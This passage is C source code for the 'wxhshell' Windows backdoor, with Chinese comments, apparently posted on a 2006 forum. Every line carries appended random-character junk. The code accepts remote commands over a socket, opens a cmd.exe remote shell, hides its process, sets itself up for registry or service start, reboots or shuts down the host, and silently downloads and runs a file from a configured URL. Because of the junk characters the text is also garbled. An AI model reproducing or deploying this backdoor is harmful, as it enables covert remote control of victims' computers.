  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gR@C0  
  } uB7 V?A  
  else { L;od6<.*m  
@&}q} D  
    switch(cmd[0]) { Vi$-Bw$@  
  pBw0"ff  
  // 帮助 07hF2[i  
  case '?': { ~ Uo)0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Ta N{"  
    break; 72,rFYvpK  
  } EKp@9\XBC  
  // 安装 \.g\Zib )  
  case 'i': { @UdfAyL  
    if(Install()) lqb/eN9(t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IVW1]y  
    else i.:. Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/L `  
    break; TFcT3]R[rL  
    } _$>pw<  
  // 卸载 yOvm`9  
  case 'r': { )+Oujt  
    if(Uninstall()) U#1bp}y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0T>H)c6:\  
    else 72veLB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x1ztfJd  
    break; F!.E5<&7=  
    } wYlf^~#"  
  // 显示 wxhshell 所在路径 J6jwBo2m  
  case 'p': { u~)`&1{%  
    char svExeFile[MAX_PATH]; "5A&_E }3  
    strcpy(svExeFile,"\n\r"); U w4>v:  
      strcat(svExeFile,ExeFile); qn,O40/]  
        send(wsh,svExeFile,strlen(svExeFile),0); %4W$Lq}  
    break; WlYs~(= 9  
    } P<fnLQ9  
  // 重启 Q%-di=  
  case 'b': { R-:fd!3oQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lb:/EUd5  
    if(Boot(REBOOT)) RNQK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTbI -u7BF  
    else { sZLT<6_B  
    closesocket(wsh); ?,yj")+  
    ExitThread(0); .Udj@{  
    } sm$ (Y.N  
    break; b^[F""!e  
    } [2|kl l  
  // 关机 /W<>G7%.  
  case 'd': { eu|j=mB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4hw@yTUo  
    if(Boot(SHUTDOWN)) A0%}v*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +,2Jzl'-  
    else { p^iRPI  
    closesocket(wsh); RQFI'@Ks  
    ExitThread(0); +<prgP`v  
    } ;us%/kOR  
    break; eX_D/25 $  
    } jV8q)=}*)  
  // 获取shell hkO sm6  
  case 's': { "l >Igm  
    CmdShell(wsh); 4Bl{WyMJ|  
    closesocket(wsh); 1bw{q.cmD  
    ExitThread(0); yAN=2fZm  
    break; G"T',~  
  } Z;h<6[(  
  // 退出 A*|cdY]HP  
  case 'x': { h!m_PgRSs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X=C1/4wU  
    CloseIt(wsh); &[&r2 >a  
    break; 0 u?{ \  
    } uf&N[M  
  // 离开 ^_ojR4  
  case 'q': { HV/cc"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dik9 >*"|o  
    closesocket(wsh); = P   
    WSACleanup(); TO-$B8*nq  
    exit(1); srV.)Ur  
    break; .IJ_jt-^d  
        } |+$%kJR=  
  } N4*G{g  
  } -n0C4kZ2o  
~8m=1)A{(  
  // 提示信息 jLJ1u/l>;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jxqh )l  
} IG3,XW  
  } $x6$*K(F  
Iyo@r%I  
  return; &P,^.'  
} ?X&6M;Zi  
W>b(Om_%  
// shell模块句柄 MC&\bf  
int CmdShell(SOCKET sock) eyp,y2Tz  
{ *. &HD6Qr  
STARTUPINFO si; VtOZ%h[#  
ZeroMemory(&si,sizeof(si)); 8t=(,^c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ %%Z6x(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *6 U&Qy-M  
PROCESS_INFORMATION ProcessInfo; 4:9KR[y/  
char cmdline[]="cmd"; A6oq.I0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G Xt4j  
  return 0; 0R0{t=VJZ  
} LB/C-n.`  
K 0hu:1l)  
// 自身启动模式 >E,U>@+  
int StartFromService(void) m4:^}O-#  
{ T}3v(6ew4  
typedef struct t!K*pM  
{  9dzdrT  
  DWORD ExitStatus; wDwH.~3!  
  DWORD PebBaseAddress; 1T)Zh+?)}  
  DWORD AffinityMask; `m.eM  
  DWORD BasePriority; )+H[kiN  
  ULONG UniqueProcessId; y&_m 4Zw"  
  ULONG InheritedFromUniqueProcessId; B??J@+Nf  
}   PROCESS_BASIC_INFORMATION; _hG;.=sr  
r ]>\~&?^F  
PROCNTQSIP NtQueryInformationProcess; +PK6-c\r  
,p;_\\<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V Yw%01#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _p?s9&  
FecktD=  
  HANDLE             hProcess; 5( _6+'0  
  PROCESS_BASIC_INFORMATION pbi; j6(?D*x  
,i.%nZw\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B cj/y4"  
  if(NULL == hInst ) return 0; pG"5!42M!  
1|8<H~&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vKoP|z=m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #'4OYY.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =:+0)t=ao  
joul<t-  
  if (!NtQueryInformationProcess) return 0; gh6d&ucQ^  
!AJ]j|@VBd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Npn=cLC&  
  if(!hProcess) return 0; H.G!A6bd  
(5^ZlOk3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wY"o`o Z  
@ d"wAZzD?  
  CloseHandle(hProcess); AOrHU M[I  
h.K(P+h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YRlDX:oX~  
if(hProcess==NULL) return 0; [Vf}NF  
_7a'r</@  
HMODULE hMod; F>gmj'-^  
char procName[255]; V^Rkt%JY  
unsigned long cbNeeded; tZ2e!<C  
D@X+{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /XS&d%y  
E2B>b[  
  CloseHandle(hProcess);  j<"nO(  
KjB/.4lLq  
if(strstr(procName,"services")) return 1; // 以服务启动 woq)\;CK  
YxJD_R  
  return 0; // 注册表启动 _{~]/k  
} `B8tmW#  
nT#JOmv  
// 主模块 x|eeRf|  
int StartWxhshell(LPSTR lpCmdLine) 5jq=_mHt  
{ @6o]chJo  
  SOCKET wsl; djT5 X  
BOOL val=TRUE; *R % wUi  
  int port=0; N_75-S7Cm  
  struct sockaddr_in door; # fhEc;t  
^%y`u1ab  
  if(wscfg.ws_autoins) Install(); N]5m(@h  
mCKk*5ws5"  
port=atoi(lpCmdLine); b]gY~cbI8  
8Z85D  
if(port<=0) port=wscfg.ws_port; =neL}Fav56  
3]JZu9#  
  WSADATA data; 1@XgTL4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !NKmx=I]  
oN(-rWdhZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5, b]V)4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5|$a =UIR  
  door.sin_family = AF_INET; > 8]j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rn.\tDeA  
  door.sin_port = htons(port); cy~oPj]j  
j?n+>/sG,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P"7ow-  
closesocket(wsl); y,+[$u7h  
return 1; @LLTB(@wR  
} \)m"3yY  
GIHpSy`z  
  if(listen(wsl,2) == INVALID_SOCKET) { 'PdmI<eXQ  
closesocket(wsl); klWYuStZ  
return 1; +yt6(7V*  
} ;_<)JqUh  
  Wxhshell(wsl); JhR W[~  
  WSACleanup(); n<V1|X  
Uz8hANN0_  
return 0; r{+aeLu  
)WR_ ug  
} %Ny) ?B  
FuP/tTMU1a  
// 以NT服务方式启动 #I`ms$j%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'b:Ne,<  
{ ecH/Wz1  
DWORD   status = 0; 3/M.0}e  
  DWORD   specificError = 0xfffffff; #-u [$TA  
%6 =\5>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f1+qXMs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Z\2*1y6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qs+k)e,  
  serviceStatus.dwWin32ExitCode     = 0; >R,?hWT  
  serviceStatus.dwServiceSpecificExitCode = 0; jOtX 60;  
  serviceStatus.dwCheckPoint       = 0; DpL8'Dib  
  serviceStatus.dwWaitHint       = 0; F!KV\?eM$  
I^Qx/uTKw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]jM^Z.mI+  
  if (hServiceStatusHandle==0) return; <6N_at3  
T%CxvZ  
status = GetLastError(); [5pCL0<c@  
  if (status!=NO_ERROR) W7G9Kx1Y  
{ E*v]:kok  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tGqCt9;<  
    serviceStatus.dwCheckPoint       = 0; 7$b?m6fmK  
    serviceStatus.dwWaitHint       = 0; +p/1x'J  
    serviceStatus.dwWin32ExitCode     = status; fB#XhO  
    serviceStatus.dwServiceSpecificExitCode = specificError; !jh%}JJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u39FN?<^  
    return; `n-vjjG%#  
  } ?=|kC*$/G  
F>Y9o- o2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /B HepD}  
  serviceStatus.dwCheckPoint       = 0; 'm1.X-$V  
  serviceStatus.dwWaitHint       = 0; /! ^P)yU,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~mILA->F  
} _C+DBA  
MguL$W&l  
// 处理NT服务事件,比如:启动、停止 aMCO"66b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j|'R$|  
{ T+TF-] J  
switch(fdwControl) <]#o*_aFP  
{ - 0~IY  
case SERVICE_CONTROL_STOP: r*cjOrvI  
  serviceStatus.dwWin32ExitCode = 0; WL~`u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?ei%RWo  
  serviceStatus.dwCheckPoint   = 0; >riq98Us/  
  serviceStatus.dwWaitHint     = 0; XNmQ?`.2'  
  { jE U'.RBN%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \5[-Ml  
  } 8j\d~Lw=  
  return; g{DFS[h  
case SERVICE_CONTROL_PAUSE: 5t'Fv<g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J@bW^>g*6u  
  break; QN 0rE @a  
case SERVICE_CONTROL_CONTINUE: SgSk !lj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x1DVD!0~{  
  break; +Hyk'=.W  
case SERVICE_CONTROL_INTERROGATE: ic~Z_?p  
  break; k46gY7y,9  
}; 9.Ap~Ay.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kx]> fHK  
} #Go(tS~o  
W]LQ &f  
// 标准应用程序主函数 u_'nOle K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h;n\*[fDc  
{ ]%XK)[:5_=  
G `Izf1B`I  
// 获取操作系统版本 W'G{K\(/  
OsIsNt=GetOsVer(); Nu. (viQ}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #uWE2*')  
"#XtDpGk  
  // 从命令行安装 y"R("j $  
  if(strpbrk(lpCmdLine,"iI")) Install(); @DCJ}h ud  
g5TkD~w"  
  // 下载执行文件 a2 >[0_E  
if(wscfg.ws_downexe) { o4'v> b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $n*%v85  
  WinExec(wscfg.ws_filenam,SW_HIDE); &l!$Sw-u;  
} o_:Qk;t  
6<76O~hNZ  
if(!OsIsNt) { 0o;~~\fq.  
// 如果时win9x,隐藏进程并且设置为注册表启动 #J~Xv:LgD  
HideProc(); =5_y<0`4  
StartWxhshell(lpCmdLine); #O6 EP#B  
} fIEw(k<*  
else C@)pmSQ  
  if(StartFromService()) o>K &D$J;O  
  // 以服务方式启动 DrFur(=T  
  StartServiceCtrlDispatcher(DispatchTable); 3jg'1^c  
else WJcVQM s  
  // 普通方式启动 8}K"IW  
  StartWxhshell(lpCmdLine); qp1\I$Y  
4f jC  
return 0; :tlE`BIp  
}
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只看该作者 1 发表于: 2006-10-10
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